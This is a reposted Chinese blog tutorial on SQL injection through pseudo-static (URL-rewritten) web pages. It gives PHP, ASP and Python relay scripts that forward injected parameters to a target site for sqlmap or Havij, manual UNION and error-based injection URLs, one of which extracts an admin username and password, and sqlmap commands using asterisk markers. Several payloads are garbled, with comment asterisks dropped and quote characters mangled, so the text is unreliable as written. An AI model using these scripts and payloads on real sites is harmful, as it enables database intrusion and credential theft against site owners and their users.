首页 > 其他分享 >伪静态注入的总结

伪静态注入的总结

时间:2024-09-18 15:13:09浏览次数:1  
标签:总结 www http 静态 xxx html com 注入

伪静态页面渗透

在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。

伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能

判断方法

在浏览器里控制台(console),输入代码或粘贴js代码

alert(document.lastModified); 回车执行,会弹出一个弹窗。

image-20240914095932187

重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。

image-20240914100039887

如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)

入侵的大概思维方式

对搜索框进行测试(注入测试)
对登录处进行测试(万能密码、注入)
对站点进行目录扫描(发现其他突破口)
从C段下手

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了

http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<strong><font style="font-size: 12pt"><code id="code1"><%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  

response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段

Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function


Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function

%></code></font></strong>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html

http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html

http://www.xxx.com /play/Diablo'.html

http://www.xxx.com/play/Diablo'//and
/
/1='1 /*.html

http://www.xxx.com/play/Diablo'
//and
/
/1='2 /*.html

http://www.xxx.com/page/html/?56′//and//1=1/*.html 正常

http://www.xxx.com/page/html/?56′//and//1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html

http://www.xxx.com/page/html/?56'//and//(SELECT//1//from//(select//count(),concat(floor(rand(0)2),(substring((select(version())),1,62)))a//from//information_schema.tables//group//by/**/a)b)=1/*.html

三、手工注入法(二)

http://www.xxx.net/news/html/?410.html

http://www.xxx.net/news/html/?410'union//select//1//from//(select//count(),concat(floor(rand(0)2),0x3a,(select//concat(user,0x3a,password)//from//pwn_base_admin//limit//0,1),0x3a)a//from//information_schema.tables//group//by//a)b//where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同
。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*

http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″

http://www.xxx.com/news/class/?103.htm

python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码一:

<code id="code3">from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path=self.path
        path=path[path.find('id=')+3:]
        proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
        opener = urllib2.build_opener(proxy_support)
        urllib2.install_opener(opener)
        url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
        try:
            response=urllib2.urlopen(url+path)
            html=response.read()
        except urllib2.URLError,e:
            html=e.read()
        self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()</code>

转载:https://www.cnblogs.com/jsq16/p/5942003.html

https://blog.csdn.net/qq_41545233/article/details/106713530

标签:总结,www,http,静态,xxx,html,com,注入
From: https://www.cnblogs.com/xiaoyus/p/18418561

相关文章

  • 算法面试总结-传统图像算法
    目录1.说说相机标定?2.说说图像的边缘是什么?3.说说边缘检测的任务以及基本原理4.说说Canny边缘检测算子?5.说说除Canny外还知道什么边缘检测算子?6.说说霍夫变换步骤?7.说说仿射变换?8.说说透视变换?9.说说最小二乘法?10.说说SIFT算子以及有什么特点?11.说说SIFT特征提取与匹配算......
  • zblog使用伪静态之后栏目跟文章打开显示404的解决方法
    当使用Z-Blog的伪静态功能后出现栏目或文章打开时显示404错误(即页面未找到),这通常意味着服务器无法找到请求的静态页面或伪静态URL。以下是一些可能的原因及解决方法:1.检查伪静态规则配置问题描述:伪静态规则配置不正确。解决方法:登录Z-Blog后台,进入伪静态设置页面。......
  • 杂题总结 Vol.2
    杂题总结Vol.2\(\def\EZ{\textcolor{#51af44}{\text{EZ}}}\EZ\)表示简单,10分钟内就能想到。\(\def\HD{\textcolor{#3173b3}{\text{HD}}}\HD\)表示中等,能独立想出\(\def\IN{\textcolor{#be2d23}{\text{IN}}}\IN\)表示困难,独立思考能想到\(50\%\)以上\(\def\AT{\textcolor......
  • zblog静态分类目录访问出现403错误解决方法
    当使用Z-Blog静态化分类目录时出现403错误,这意味着服务器拒绝了请求,通常是由于权限问题或其他配置问题。以下是解决此问题的一些步骤:检查文件权限:确认文件或目录具有正确的权限。通常文件权限应设置为644,目录权限应设置为755。使用FTP客户端连接到服务器,检查分类目......
  • HTML+CSS个人静态网页设计
    ......
  • Node.js 版本管理工具对比总结
    Node.js版本管理工具用于帮助开发者在不同项目中灵活切换Node.js和npm版本。常见的工具有nvm、n、nvs、fnm和Volta。以下是它们的优缺点、常用命令及对比总结。nvm(NodeVersionManager)优点:支持macOS和Linux。可以灵活地安装、切换和卸载不同版本的Node.js。......
  • 深入理解JNDI注入—RMI/LDAP攻击
    目录前言JNDI注入简单理解透过Weblogic漏洞深入理解RMI与LDAP的区别JNDI+RMI漏洞代码触发链lookup触发链JNDI+LDAP前言本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。当然不......
  • 手写Promise实现(不包含静态方法)
    手写Promise实现#基本promise不包含all等方法定义状态常量constPENDING='pending';constFULFILLED='fulfilled';constREJECTED='rejected';封装函数,将同步任务放入微任务队列functionrunsynctask(callback){returnqueueMicrotask(callback);}......
  • 一个打工人的减脂总结
    1事情开始是因为老婆体检检查出各种问题,胰岛素抵抗,多囊卵巢综合征,体重超标等问题,我自己开始意识到我的体重需要急刹车.工作9年以来,一直是坐在电脑前办公,长时间的久坐,导致了很多职业病,肌肉劳损和用眼过度带来的流泪问题,幽冥螺旋杆菌导致的胃胀,体重也是逐年身身高,可以......
  • UDS服务总结
    手册导读 2UDS协议 2UDS介绍 2一、常见的诊断协议OBD&UDS 21.1两种常见的诊断协议:OBD&UDS 2二、相关术语介绍 32.1ServiceID 32.2诊断请求(DiagnosticRequest) 42.3正响应/负响应(Positive/NegativeResponse) 52.3.1正响应报文格式 62.3.1负响应报文格式 73.1SI......